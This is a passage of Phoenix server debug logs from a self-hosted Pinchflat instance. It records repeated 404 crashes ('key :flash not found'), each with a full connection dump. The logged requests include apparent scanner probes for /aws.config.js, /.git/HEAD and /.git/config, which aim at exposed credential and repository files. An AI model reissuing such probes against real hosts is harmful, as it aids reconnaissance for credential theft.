%{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {" (truncated) 17:45:04.013 [info] GET /aws.config.js 17:45:04.013 [debug] QUERY OK source="settings" db=0.1ms idle=257.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.014 [debug] QUERY OK source="settings" db=0.1ms idle=257.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.014 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:04.014 [error] #PID<0.20103.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 15) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /aws.config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20103.0>, params: %{}, path_info: ["aws.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/aws.config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m3QH3SDloxgABSOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20103.0>, params: %{}, path_info: ["aws.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} (truncated) 17:45:04.249 [info] GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js 17:45:04.249 [debug] QUERY OK source="settings" db=0.1ms idle=418.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.250 [debug] QUERY OK source="settings" db=0.0ms idle=363.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.250 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:04.250 [error] #PID<0.20105.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 17) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d" ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20105.0>, params: %{"vsn" => "d\""}, path_info: ["%22", "assets", "app-521b5c83d8b2f79295a25943104e99d5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"vsn" => "d\""}, query_string: "vsn=d\"", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m4IZs5iIIdcABSQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20105.0>, params: %{"vsn" => "d\""}, path_info: ["%22", "assets", "app-521b5c83d8b2f79295a25943104e99d5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"vsn" => "d\""}, query_string: "vsn=d\"", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", (truncated) 17:45:04.361 [info] GET /.git/HEAD 17:45:04.362 [debug] QUERY OK source="settings" db=0.1ms idle=475.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.362 [debug] QUERY OK source="settings" db=0.0ms idle=348.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.362 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:04.362 [error] #PID<0.20106.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 18) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20106.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m4jJY-z30rMABSSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20106.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0. (truncated) 17:45:04.477 [info] GET /.git/config 17:45:04.477 [debug] QUERY OK source="settings" db=0.1ms idle=463.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.478 [debug] QUERY OK source="settings" db=0.0ms idle=228.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:04.478 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:04.478 [error] #PID<0.20107.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 19) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20107.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m4-xjK5xzjIABSUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found 